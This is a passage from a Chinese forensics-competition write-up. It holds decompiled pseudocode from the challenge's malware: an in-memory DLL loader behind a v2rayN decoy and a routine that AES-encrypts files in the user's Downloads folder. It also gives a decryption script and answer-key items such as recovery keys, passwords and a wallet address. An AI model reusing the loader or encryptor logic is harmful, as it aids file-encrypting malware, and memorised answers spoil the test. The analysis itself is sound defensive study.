*a4 = a4[v29] ^ v33[(unsigned __int8)(v33[v35] + v33[v36])];
++a4;
--n0x40;
}
while ( n0x40 );
}
}
}
}
这是 RC4 加密, 首先生成一个 256 字节的初始表, 然后使用 key 对其做 KSA
这个 key 是名为 a1njc2ntq2mzc0n 的数组的前十六个字节, 跳转看定义:

也就只有十六个字节: 1Njc2NTQ2Mzc0NTc.
38 解密文件"RnRGaWxlcy5lZGIiL"成功后, 请分析并给出解密后的文件的入口点地址¶
答案
0x180002730
用上文密钥解密文件:

可以看到 MZ 头和 PE 头, 说明确实是一个 PE 文件, 导出识别:

这是 RVA, 要加上 imagebase 才是 RAW:

39 加密文件名为"6c051a72b91a1"的文件时所使用的密钥¶
答案
cgDSb6VOegeF7EuW
直接搜是搜不出来 6c051a72b91a1 的, 回头看看 sub_140001070:
__int64 __fastcall sub_140001070(__int64 a1, __int64 a2, unsigned int *a3)
{
// snip
Src = (int *)::Src;
n0x40 = (unsigned int)::n0x40;
if ( !::Src )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
if ( (unsigned int)::n0x40 < 0x40 )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
if ( *(_WORD *)::Src != 23117 )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
v5 = *((int *)::Src + 15);
if ( (unsigned int)::n0x40 < (unsigned __int64)(v5 + 264) )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
if ( *(_DWORD *)((char *)::Src + v5) != 17744 )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
if ( *(_WORD *)((char *)::Src + v5 + 4) != 0x8664 )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
if ( (*((_BYTE *)::Src + v5 + 22) & 2) == 0 )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
n0xF0 = *(_WORD *)((char *)::Src + v5 + 20);
if ( n0xF0 < 0xF0u )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
a2 = 0;
v7 = v5 + (unsigned __int16)(n0xF0 - 240);
v8 = *(_WORD *)((char *)::Src + v5 + 6);
a3 = (unsigned int *)((char *)::Src + v7);
if ( v8 )
{
while ( a3[10 * (unsigned __int16)a2 + 70] + a3[10 * (unsigned __int16)a2 + 71] <= ::n0x40 )
{
LOWORD(a2) = a2 + 1;
if ( (unsigned __int16)a2 >= v8 )
goto LABEL_12;
}
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
}
LABEL_12:
v9 = *((int *)::Src + 15);
v10 = (char *)::Src + v9;
v11 = *(_DWORD *)((char *)::Src + v9 + 80);
v12 = (unsigned __int16)(*(_WORD *)((char *)::Src + v9 + 20) - 240);
v13 = (char *)::Src + v12 + v9;
if ( *(_WORD *)((char *)::Src + v9 + 6) )
{
v14 = *((_DWORD *)v10 + 14);
a3 = (unsigned int *)(v13 + 272);
v15 = *(unsigned __int16 *)((char *)::Src + v9 + 6);
do
{
n0x40 = a3[2];
n0x40_1 = n0x40;
n0x40_2 = *a3;
v18 = a3[1];
if ( (unsigned int)n0x40 <= *a3 )
n0x40_1 = *a3;
HIDWORD(a2) = 0;
v19 = v14 + v18 + n0x40_1 - 1;
LODWORD(a2) = v19 % v14;
if ( v11 <= v19 - v19 % v14 )
{
if ( (unsigned int)n0x40 <= n0x40_2 )
n0x40 = n0x40_2;
a2 = (v14 + v18 + (_DWORD)n0x40 - 1) % v14;
v11 = v14 + v18 + n0x40 - 1 - a2;
}
a3 += 10;
--v15;
}
while ( v15 );
}
if ( !v11 )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
v20 = v11;
lpAddress = (int *)VirtualAlloc(*((LPVOID *)v10 + 6), v11 + 40LL, 0x3000u, 0x40u);
if ( !lpAddress )
lpAddress = (int *)VirtualAlloc(0, v20 + 40, 0x3000u, 0x40u);
if ( !lpAddress )
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
memcpy(
lpAddress,
Src,
v12 + Src[15] + 8 * (*((unsigned __int16 *)v10 + 3) + 4LL * *((unsigned __int16 *)v10 + 3) + 33));
for ( i = 0; i < *((_WORD *)v10 + 3); ++i )
{
Size = *(_DWORD *)&v13[40 * i + 280];
if ( Size )
{
v24 = *(unsigned int *)&v13[40 * i + 276];
if ( (_DWORD)v24 )
memcpy((char *)lpAddress + v24, (char *)Src + *(unsigned int *)&v13[40 * i + 284], Size);
}
}
v25 = (char *)lpAddress + v20;
*((_QWORD *)v25 + 4) = 0;
*((_QWORD *)v25 + 3) = 0;
*((_DWORD *)v25 + 4) = 0;
*((_QWORD *)v25 + 1) = 0;
*(_DWORD *)v25 = 0;
v26 = (__int64 *)j__malloc_base(0x10u);
v27 = v26;
if ( !v26 )
{
LABEL_59:
VirtualFree(lpAddress, 0, 0x8000u);
return sub_140001010((int)"fail!\r\n", a2, a3, n0x40);
}
v26[1] = (__int64)lpAddress;
v28 = lpAddress[15];
v29 = (char *)lpAddress - *(_QWORD *)((char *)lpAddress + v28 + 48);
if ( lpAddress != *(int **)((char *)lpAddress + v28 + 48) )
{
if ( *(int *)((char *)lpAddress + v28 + 180) )
{
v30 = *(unsigned int *)((char *)lpAddress + v28 + 176);
v31 = (unsigned int *)((char *)lpAddress + v30);
if ( *(int *)((char *)lpAddress + v30) )
{
v32 = (int *)((char *)lpAddress + v30);
do
{
v33 = 0;
v34 = ((unsigned __int64)v31[1] - 8) >> 1;
if ( (_DWORD)v34 )
{
v35 = v32 + 2;
do
{
n10 = *v35 >> 12;
if ( n10 == 10 || n10 == 3 )
{
*(_QWORD *)((char *)lpAddress + (*v35 & 0xFFF) + *v31) += v29;
}
else if ( n10 )
{
goto LABEL_58;
}
++v33;
++v35;
}
while ( v33 < (unsigned int)v34 );
}
LODWORD(v30) = v31[1] + v30;
v32 = (int *)((char *)lpAddress + (unsigned int)v30);
v31 = v32;
}
while ( *v32 );
}
}
}
if ( !(unsigned int)sub_140001750(v25, lpAddress, 0, 0) )
{
LABEL_58:
free(v27);
goto LABEL_59;
}
while ( _InterlockedCompareExchange(&dword_140028CB0, 1, 0) )
;
*v27 = qword_140028CA8;
++dword_140028CA0;
qword_140028CA8 = (__int64)v27;
_InterlockedExchange(&dword_140028CB0, 0);
if ( (*((_WORD *)v10 + 11) & 0x2000) != 0 )
{
v37 = *((unsigned int *)v10 + 10);
if ( (_DWORD)v37 )
{
v38 = (int *)((char *)lpAddress + v37);
ModuleHandleW = GetModuleHandleW(0);
if ( !((unsigned int (__fastcall *)(HMODULE, __int64, _QWORD))v38)(ModuleHandleW, 1, 0) )
{
while ( _InterlockedCompareExchange(&dword_140028CB0, 1, 0) )
;
v40 = (__int64 *)qword_140028CA8;
v41 = 0;
if ( qword_140028CA8 )
{
while ( 1 )
{
v42 = *v40;
if ( v40 == v27 )
break;
v41 = v40;
v40 = (__int64 *)*v40;
if ( !v42 )
goto LABEL_57;
}
if ( v41 )
*v41 = v42;
else
qword_140028CA8 = *v40;
--dword_140028CA0;
}
LABEL_57:
_InterlockedExchange(&dword_140028CB0, 0);
sub_140001600(v25, lpAddress, 0);
goto LABEL_58;
}
}
}
v44 = (void (*)(void))sub_140001B20(lpAddress, "SDGHY3a9DK3t14Fg1hSGH56U");
if ( v44 )
{
sub_140008104("start ..\\..\\v2rayN.exe");
sub_140001010((int)&unk_140023758);
sub_140001010((int)&unk_140023768);
v44();
sub_140001010((int)&unk_140023780);
}
else
{
sub_140001010((int)"fail!!\r\n");
}
return sub_140001960(lpAddress);
}
这个函数操作的还是 n0x40 这块内存, 也就是前面 RnRGaWxlcy5lZGIiL 文件的内容
在上一个解密函数执行完成之后, 它首先校验解密出的 PE 文件格式, 之后调用函数 sub_140001B20 在其中的导出表里查找函数 SDGHY3a9DK3t14Fg1hSGH56U:
转到刚刚解密出的 PE 文件:

查看函数SDGHY3a9DK3t14Fg1hSGH56U:
_int64 SDGHY3a9DK3t14Fg1hSGH56U()
{
// snip
ppszPath = 0;
if ( SHGetKnownFolderPath(&rfid, 0, 0, &ppszPath) )
{
v0 = (const char *)sub_18000AE38("USERPROFILE");
sub_180001DE0(MultiByteStr, 260, "%s\\Downloads", v0);
}
else
{
WideCharToMultiByte(0, 0, ppszPath, -1, MultiByteStr, 260, 0, 0);
CoTaskMemFree(ppszPath);
}
if ( GetFileAttributesA(MultiByteStr) == -1 )
{
sub_180001D80(&unk_180022630, MultiByteStr);
return 1;
}
else
{
sub_180001DE0(FileName, 260, "%s\\*", MultiByteStr);
hFindFile = FindFirstFileA(FileName, &FindFileData);
if ( hFindFile != (HANDLE)-1LL )
{
do
{
if ( FindFileData.cFileName[0] != 46
|| FindFileData.cFileName[1] && (FindFileData.cFileName[1] != 46 || FindFileData.cFileName[2]) )
{
sub_180001DE0(p_MultiByteStr, 260, "%s\\%s", MultiByteStr, FindFileData.cFileName);
if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
sub_180001D80(&unk_180022600, p_MultiByteStr);
else
sub_180001E50(p_MultiByteStr);
}
}
while ( FindNextFileA(hFindFile, &FindFileData) );
FindClose(hFindFile);
}
return 0;
}
}
先获取当前用户的 downloads 文件夹路径, 列出其中的所有文件和子目录
- 如果是文件夹,调用
sub_180001D80(&unk_180022600, path) - 如果是文件,调用
sub_180001E50(path)
因为目标文件不是文件夹, 先看 sub_180001E50:
// Hidden C++ exception states: #wind=1
__int64 __fastcall sub_180001E50(const char *p_MultiByteStr)
{
// snip
sub_180001DE0(FileName, 260, "%s.1", p_MultiByteStr);
hFile = CreateFileA(p_MultiByteStr, 0x80000000, 0, 0, 3u, 0x80u, 0);
hFile_1 = hFile;
if ( hFile == (HANDLE)-1LL )
{
sub_180001D80((int)&unk_1800225A8, p_MultiByteStr);
return 0;
}
n0x5F5E100 = SetFilePointer(hFile, 0, 0, 2u);
SetFilePointer(hFile_1, 0, 0, 0);
if ( n0x5F5E100 > 0x5F5E100 )
return 0;
hObject = CreateFileA(FileName, 0x40000000u, 0, 0, 2u, 0x80u, 0);
if ( hObject == (HANDLE)-1LL )
{
sub_180001D80((int)&unk_1800225C0, FileName);
CloseHandle(hFile_1);
return 0;
}
else
{
while ( ReadFile(hFile_1, Buffer, 0x1000u, &NumberOfBytesRead, 0) )
{
NumberOfBytesRead_1 = NumberOfBytesRead;
if ( !NumberOfBytesRead )
break;
for ( NumberOfBytesRead_2 = 0; NumberOfBytesRead_2 < NumberOfBytesRead; NumberOfBytesRead_2 += 16 )
{
memset(v21, 0, sizeof(v21));
v22 = 0;
memset(v12, 0, sizeof(v12));
v13 = 0;
if ( NumberOfBytesRead_1 - NumberOfBytesRead_2 < 0x10 )
break;
v9 = *(_OWORD *)&Buffer[NumberOfBytesRead_2];
v20 = 0;
n4 = 4;
v16 = 0;
v18 = 0;
v19 = 0;
v11 = sub_1800023B0(696);
v16 = (void (__fastcall ***)(_QWORD, __int64))sub_180001000(v11, &v18);
v18 = xmmword_180025A80;
sub_180001920(
v16,
&v18,
v16 + 65,
(NumberOfBytesRead_2 >> 4)
- 11 * ((unsigned int)((3123612579u * (unsigned __int64)(NumberOfBytesRead_2 >> 4)) >> 32) >> 3));
n4 = 3;
v19 = xmmword_180025A70;
v12[0] = v9;
sub_180001A80(&v16, v12, v10, v21);
*(_OWORD *)&Buffer[NumberOfBytesRead_2] = v21[0];
if ( v16 )
(**v16)(v16, 1);
NumberOfBytesRead_1 = NumberOfBytesRead;
}
if ( !WriteFile(hObject, Buffer, NumberOfBytesRead_1, &NumberOfBytesWritten, 0)
|| NumberOfBytesWritten != NumberOfBytesRead )
{
sub_180001D80((int)&unk_1800225D8, FileName);
CloseHandle(hFile_1);
CloseHandle(hObject);
DeleteFileA(FileName);
return 0;
}
}
CloseHandle(hFile_1);
CloseHandle(hObject);
return 1;
}
}
函数会为文件创建一个同目录下的临时文件: 原名.1, 然后以 4 KB 为缓冲区逐块读取源文件, 每 16 字节为一个加密单元进行处理, 把处理后的数据写入 .1 文件
可以看到待分析的文件就是 .1 文件, 说明是被这个函数加密的:

先看对每一个块进行处理时的初始化函数 sub_180001000:
_QWORD *__fastcall sub_180001000(_QWORD *a1, __int64 a2)
{
// snip
v27[0] = 2071428195;
*a1 = &AES::`vftable';
v27[1] = -982553614;
v27[2] = 728170800;
v27[3] = 1990973438;
v27[4] = 2110358218;
v27[5] = -263759366;
v27[6] = -1348283219;
// snip
v27[60] = 227123596;
v27[61] = 1749214911;
v27[62] = 254646593;
v27[63] = 381375664;
v28[0] = -714471086;
v28[1] = 950351408;
v28[2] = -1633468225;
v28[3] = -69733503;
// snip
v28[10] = 194333934;
v28[11] = 1321466434;
v28[12] = 1721839112;
n2 = 2;
v28[13] = -1306207960;
v5 = a1 + 1;
v28[14] = 1235377014;
n2_1 = 2;
v28[15] = 634489709;
v28[16] = 1693907058;
v7 = (__int128 *)v27;
v28[17] = 379086982;
// snip
v28[60] = 2114202391;
v28[61] = 651589562;
v28[62] = 1662282209;
v28[63] = 2097946965;
do
{
v5 += 16;
v8 = *v7;
v9 = v7[1];
v7 += 8;
*((_OWORD *)v5 - 8) = v8;
v10 = *(v7 - 6);
*((_OWORD *)v5 - 7) = v9;
v11 = *(v7 - 5);
*((_OWORD *)v5 - 6) = v10;
v12 = *(v7 - 4);
*((_OWORD *)v5 - 5) = v11;
v13 = *(v7 - 3);
*((_OWORD *)v5 - 4) = v12;
v14 = *(v7 - 2);
*((_OWORD *)v5 - 3) = v13;
v15 = *(v7 - 1);
*((_OWORD *)v5 - 2) = v14;
*((_OWORD *)v5 - 1) = v15;
--n2_1;
}
while ( n2_1 );
v16 = a1 + 33;
v17 = (__int128 *)v28;
do
{
v16 += 16;
v18 = *v17;
v19 = v17[1];
v17 += 8;
*((_OWORD *)v16 - 8) = v18;
v20 = *(v17 - 6);
*((_OWORD *)v16 - 7) = v19;
v21 = *(v17 - 5);
*((_OWORD *)v16 - 6) = v20;
v22 = *(v17 - 4);
*((_OWORD *)v16 - 5) = v21;
v23 = *(v17 - 3);
*((_OWORD *)v16 - 4) = v22;
v24 = *(v17 - 2);
*((_OWORD *)v16 - 3) = v23;
v25 = *(v17 - 1);
*((_OWORD *)v16 - 2) = v24;
*((_OWORD *)v16 - 1) = v25;
--n2;
}
while ( n2 );
if ( a2 )
sub_180001920(a1, a2, a1 + 65, 0);
return a1;
}
这个函数构造了一个对象 AES::vftable, 在对象内布置了两组 64 × 4 bytes 的表, 已经明示是 AES 加密了
其中传入的 a2 被函数 sub_180001920 调用, 而这个函数是 AES 的密钥拓展函数:
__int64 __fastcall sub_180001920(__int64 a1, __int64 a2, _OWORD *a3, int a4)
{
// snip
v4 = a2 + 8;
v5 = a4;
n134480385 = 134480385;
v26 = -2143281136;
v8 = (char *)a3 + 2;
n13851 = 13851;
n4 = 4;
do
{
v10 = *(_BYTE *)(v4 - 8);
++v4;
*(v8 - 2) = v10;
v8 += 4;
*(v8 - 5) = *(_BYTE *)(v4 - 5);
*(v8 - 4) = *(_BYTE *)(v4 - 1);
*(v8 - 3) = *(_BYTE *)(v4 + 3);
--n4;
}
while ( n4 );
v11 = (unsigned __int8 *)a3 + 7;
for ( n10 = 1; n10 <= 10; ++n10 )
{
for ( n4_1 = 0; n4_1 < 4; ++n4_1 )
{
if ( n4_1 )
{
v14 = v11[n4_1 + 8];
v15 = &v11[n4_1 + 9];
v16 = v15[3];
v17 = v15[7];
v18 = v15[11];
}
else
{
v15 = v11 + 9;
v14 = *(&v24 + n10) ^ *(_BYTE *)(*v11 + a1 + 8);
v16 = *(_BYTE *)(v11[4] + a1 + 8);
v17 = *(_BYTE *)(v11[8] + a1 + 8);
v18 = *(_BYTE *)(*(v11 - 4) + a1 + 8);
}
v19 = v11[n4_1 + 1] ^ v17;
v20 = v11[n4_1 + 5] ^ v18;
v21 = v11[n4_1 - 7] ^ v14;
v11[n4_1 + 13] = v11[n4_1 - 3] ^ v16;
v11[n4_1 + 17] = v19;
v11[n4_1 + 21] = v20;
*v15 = v21;
}
v11 += 16;
}
v22 = *a3;
result = 2 * v5;
*a3 = a3[v5];
a3[v5] = v22;
return result;
}
这段代码将从 a2 读入 16 字节密钥, 扩展成 11 个轮函数密钥
回顾之前的函数, a2 来源于调用 sub_180001000(v11, &v18) 时传入, 而 v18 的来源又是 xmmword_180025A80

这是小端序, 使用 idapython 比较方便:

40 "6c051a72b91a1.1"文件解密后的 md5 值后六位¶
答案
0D0C3B
之前的 sub_180001000 函数用到了 AES 表, 其中 v27 定义的每一行都是小端序存放的 T 表:

至此所有解密的信息已经得到, 写脚本即可(密码学的大作业拿出来改改就行了)
import os
import sys
from typing import List
SBOX = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]
INV_SBOX = [0] * 256
for i, v in enumerate(SBOX):
INV_SBOX[v] = i
RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]
MUL_TABLE = {}
for a in range(256):
for b in range(256):
if a == 0 or b == 0:
MUL_TABLE[(a, b)] = 0
else:
result = 0
aa, bb = a, b
for _ in range(8):
if bb & 1:
result ^= aa
carry = aa & 0x80
aa = ((aa << 1) & 0xff)
if carry:
aa ^= 0x1b
bb >>= 1
MUL_TABLE[(a, b)] = result
INV_MIX_COLUMNS_TABLE = []
for s in range(256):
INV_MIX_COLUMNS_TABLE.append([
MUL_TABLE[(s, 0x0e)], MUL_TABLE[(s, 0x0b)],
MUL_TABLE[(s, 0x0d)], MUL_TABLE[(s, 0x09)]
])
def mul(a: int, b: int) -> int:
return MUL_TABLE.get((a, b), 0)
def sub_word(word4: bytes) -> bytes:
return bytes([SBOX[b] for b in word4])
def rot_word(word4: bytes) -> bytes:
return word4[1:4] + word4[0:1]
def key_expansion(key16: bytes, n: int) -> List[bytes]:
Nk, Nb, Nr = 4, 4, 10
w = [key16[i:i+4] for i in range(0, 16, 4)]
for i in range(Nk, Nb * (Nr + 1)):
temp = w[i-1]
if i % Nk == 0:
temp = bytes(a ^ b for a, b in zip(
sub_word(rot_word(temp)),
bytes([RCON[i//Nk], 0, 0, 0])
))
w.append(bytes(a ^ b for a, b in zip(w[i-Nk], temp)))
round_keys = [b''.join(w[4*i:4*i+4]) for i in range(Nr + 1)]
if n != 0:
round_keys[n], round_keys[0] = round_keys[0], round_keys[n]
return round_keys
def add_round_key(state: List[int], round_key: bytes) -> List[int]:
return [s ^ round_key[i] for i, s in enumerate(state)]
def inv_sub_bytes(state: List[int]) -> List[int]:
return [INV_SBOX[b] for b in state]
def inv_shift_rows(state: List[int]) -> List[int]:
out = [0] * 16
out[0] = state[0]; out[4] = state[4]; out[8] = state[8]; out[12] = state[12]
out[1] = state[13]; out[5] = state[1]; out[9] = state[5]; out[13] = state[9]
out[2] = state[10]; out[6] = state[14]; out[10] = state[2]; out[14] = state[6]
out[3] = state[7]; out[7] = state[11]; out[11] = state[15]; out[15] = state[3]
return out
def inv_mix_columns(state: List[int]) -> List[int]:
out = [0] * 16
for c in range(4):
s0, s1, s2, s3 = state[c*4], state[c*4+1], state[c*4+2], state[c*4+3]
t0 = INV_MIX_COLUMNS_TABLE[s0]
t1 = INV_MIX_COLUMNS_TABLE[s1]
t2 = INV_MIX_COLUMNS_TABLE[s2]
t3 = INV_MIX_COLUMNS_TABLE[s3]
out[c*4] = t0[0] ^ t1[1] ^ t2[2] ^ t3[3]
out[c*4+1] = t0[3] ^ t1[0] ^ t2[1] ^ t3[2]
out[c*4+2] = t0[2] ^ t1[3] ^ t2[0] ^ t3[1]
out[c*4+3] = t0[1] ^ t1[2] ^ t2[3] ^ t3[0]
return out
def decrypt_block(block16: bytes, round_keys: List[bytes]) -> bytes:
state = list(block16)
state = add_round_key(state, round_keys[10])
for rnd in range(9, 0, -1):
state = inv_shift_rows(state)
state = inv_sub_bytes(state)
state = add_round_key(state, round_keys[rnd])
state = inv_mix_columns(state)
state = inv_shift_rows(state)
state = inv_sub_bytes(state)
state = add_round_key(state, round_keys[0])
return bytes(state)
def aes_cbc_decrypt(ciphertext: bytes, key16: bytes, iv16: bytes, j: int) -> bytes:
round_keys = key_expansion(key16, j)
num_blocks = len(ciphertext) // 16
plaintext_blocks = []
prev = iv16
for i in range(num_blocks):
blk = ciphertext[i*16:(i+1)*16]
dec = decrypt_block(blk, round_keys)
xored = bytes(a ^ b for a, b in zip(dec, prev))
plaintext_blocks.append(xored)
prev = blk
return b''.join(plaintext_blocks)
def hex_to_bytes(hex_string: str) -> bytes:
hex_string = hex_string.replace(' ', '').replace('\n', '')
if len(hex_string) % 2:
hex_string = '0' + hex_string
return bytes.fromhex(hex_string)
if __name__ == "__main__":
key = hex_to_bytes("636744536236564f6567654637457557")
iv = hex_to_bytes("672394ef4cd52f76ffde7bb06a86625c")
with open("6c051a72b91a1.1", "rb") as f_in, open("6c051a72b91a1.png", "wb") as f_out:
j = 0
while True:
block = f_in.read(16)
if len(block) == 0:
break
elif len(block) < 16:
f_out.write(block)
break
plaintext = aes_cbc_decrypt(block, key, iv, j % 11)
f_out.write(plaintext)
j += 1
if j == 256:
j = 0
计算机取证分析¶
info
请根据计算机检材, 回答以下问题
41 操作系统的 Build 版本号¶
答案
19044.1381
火眼分析软件可以直接看到:

42 操作系统设置的账户密码最长存留期为多少天¶
答案
68
仿真计算机, 在 cmd 中执行 net accounts:

或者仿真计算机后在组策略编辑器中查看:

43 用户 2 登陆密码 NT 哈希值后六位¶
答案
A9C708
用户列表可以直接看到

44 蓝牙 mac 地址¶
答案
9C-B6-D0-04-C9-CC
网络配置里直接看到:

45 SafeImager 的产品序列号后四位¶
答案
09C4
SafeImager 是盘古石的镜像制作工具, 是个 USB 设备. 在 USB 基础信息里:

不知道的话去 XWF 全盘搜索也能找到:

46 "123.VHD"所处的结束扇区¶
答案
27445255
XWF 中定位到文件, 切换到文件视图, 按下快捷键 Ctrl + End 跳转至文件尾, 再切换回分区视图, 即可看到文件结尾所处的扇区号:

47 用户在 BitLocker 加密分区最后修改的文件¶
答案
资料1.txt
在上题的 123.vhd 中可以找到 BitLocker 恢复密钥 625075-617309-532576-720302-040975-309232-451924-426679, 用密钥解锁该分区.

文件全显后按时间排序:

48 用户连接"192.168.114.129"时用的会话名称¶
答案
连接阿里云
Xshell 分析结果中就能看到:

49 用户创建存储虚拟币钱包地址页面的时间¶
答案
10月07日
注意
Anytype 设置了使用 Windows 用户凭证解锁, 因此只有在仿真时不重置密码的情况下才能自动解锁.
仿真之后桌面上有一个 Anytype 软件, 进去发现有一个 Cryptocurrency 点进去看修改时间:

50 用户的虚拟币钱包地址¶
答案
3HrdpWM8ZrBVw9yu8jx1RoNNK6BZxwsHd9
将内容放 CyberChef 里 Base64 解码:

51 用户VC加密容器的密码¶
答案
SHUZHENGBEIctzy2025
在计算机的文件中可以找到 rar 分卷压缩的 5 个压缩包

解压密码就是之前找到的邮件提到的 258369:

不过根据其他题目密码的规律, 可以猜到是 6 位数字, 可以直接用 Passware 爆破. 这个密码也是计算机 Administrator 用户的密码.
可以使用这导出的 rar 分包进行解压, 但会报错:

并且仔细看一眼 rar 包中的文件会发现, 其中有两个文件的大小肯定其一有问题:

用 hex 查看器查看几个包之后会发现, 前 3 个包是一组, 后 2 个包与前 3 个包似乎并不是同一组分包:

这也解释了为什么一组分包中会出现 2 个大小不满分包大小(3 MB)的包(软件.part4.rar & 软件.part5.rar). 因此, 移除后 2 个包, 再试着解压, 发现目录显示是正常了, 其中的 DecryptionTool.exe 缺少了部分数据, 应该在之后的分包中:

在 BitLocker 加密的 D 盘的回收站中, 可以看到被删除的第 4 个分包:

但这个包和先前找到的第 4 个包相同. 到这里我意识到或许 3 MB 的不是要找的分包, 2.79 MB 大小的才是要找的分包.
在 Foxmail 的附件中看到了另外 3 个 2.79 MB 大小的分包:

导出邮件的附件, 和先前找到的 软件.part4.rar & 软件.part5.rar 一起解压:

拿到了大小正确的文件. VC 容器的密码在 Word 文档最后, 字体颜色被设置成了白色:

52 用户在生活中使用的代号¶
答案
小胖
前面就一直注意到桌面上的 代号.wav 了, 还找到了个 声纹.7z:

解压后发现是一种音频隐写处理工具,直接拖进去即可

其实用任意音频处理软件查看频谱图就可以看到了:

播放之后听到很明显且存在低音到高音的杂音, 不是 SSTV 就是频谱图写字. 这个长度只有几秒, 不太可能是 SSTV.
53 李安东的银行卡归属哪个银行¶
答案
交通银行
在文件里搜关键词"银行"可以搜到一个表格, 并且提示密码是 6 位纯数字:

爆破, 得到密码是 688561:

54 某市 10 月 6 日最高气温¶
答案
21
可以找到一个气温加密.zip, 导出后直接用 Zip-crack 读取, 会自动检测伪加密, 唯一恶心的是编码做的不是很好:

这道题的伪加密还是比较明显的, 压缩包里面 2 个文件有加密, 而 3 个文件没有, 这个虽然是 PKZIP 支持的特性, 但是一般没有用户端软件会支持这个特性:

将 deFlag(dirEntry 中) 和 frFlag(record 中) 修改为偶数(PKZIP 的实现只检查该小端序字节的最低位)即可去掉伪加密:

55 用户的 BitLocker 密码¶
答案
SZBJSJTM2025
前面有了 BitLocker 恢复密钥后重新分析了一次, 在 Foxmail 的分析结果中又发现了一些有意思的东西

在邮件记录上右键导出附件即可. 或者也可以在临时文件夹中找到邮件的附件:

再将照片拖入在下载里找到的一个图片隐写软件即可

56 用户办公室的门禁密码¶
答案
147963258
对之前的 123.vhd 进行特征分析会发现还有一个 TrueCrypt 加密卷, 但其实是 VeraCrypt 的加密卷, 只不过火眼不分这俩:

用前面的密码挂载, 里面只有一个办公室密码锁.jpg.enc, 用之前的 rar 分卷加压得到的 DecryptionTool.exe 可以解密:

在图片文件的末尾可以找到额外的数据:

说句实话, 放文件尾真没必要(
57 用户使用的以 D 开头的解密程序的 MD5 值后六位¶
答案
3A892E

58 木马程序运行至系统断点前加载了几个动态链接库¶
答案
5
将软件拖入 x32dbg 中, 等自动暂停后在"视图-模块"查看:

59 木马产生的程序名称¶
答案
wins.exe
询问 gpt 得知可以用微软的 Procmon 来监听进程
下载好后用管理员模式运行, 做如下过滤, 在运行进程, 会发现进程消失了

看这几条监听到的信息, 貌似是将这个进程转移到了下图的文件夹内并且改名为 wins.exe, 也成功在文件夹下找到了这个文件:

或者用微步沙箱分析:


看得出来大伙最近都在做复盘:

60 木马尝试访问的域名¶
答案
edu-image.nosdn.127.net

使用 wireshark 对该木马尝试抓包, 将得到的数据给 AI 分析可以知道这段数据表示查询 edu-image.nosdn.127.net 的 IPv4 地址

在微步沙箱中可以看到:

计算机内存取证¶
info
请根据计算机检材和内存检材, 回答以下问题
61 内存镜像制作时的系统时间¶
答案
2025-10-16 11:21:53+00:00
python .\vol.py -f Z:\01-计算机取证\内存检材.mem windows.info:

62 用户 Yiyelin 的用户表示后 4 位¶
答案
1002
随便找个能看到 SID 的插件运行, 这里是 windows.hashdump:

63 计算机的 CPU 型号¶
答案
Intel Core i7-1165G7
CPU 型号在注册表里肯定是有的, python .\vol.py -f Z:\01-计算机取证\内存检材.mem windows.registry.hivelist.HiveList --filter SYSTEM --dump 导出 Hive 文件:

用 Windows Registry Recovery 查看硬件信息:

64 wps.exe 的 PID¶
答案
5888
python .\vol.py -f Z:\01-计算机取证\内存检材.mem windows.pslist:

65 此计算机开机自启动的远控软件名称¶
答案
SunloginClient.exe
还是进程列表, 可以看到 SunloginClient.exe(向日葵)的 PPID 是 688(services.exe), 是开机自启:

物联网设备取证¶
info
请根据物联网设备检材, 回答以下问题
66 打印机的主机名称¶
答案

67 打印文件存储在哪个目录¶
答案
/var/spool/cups
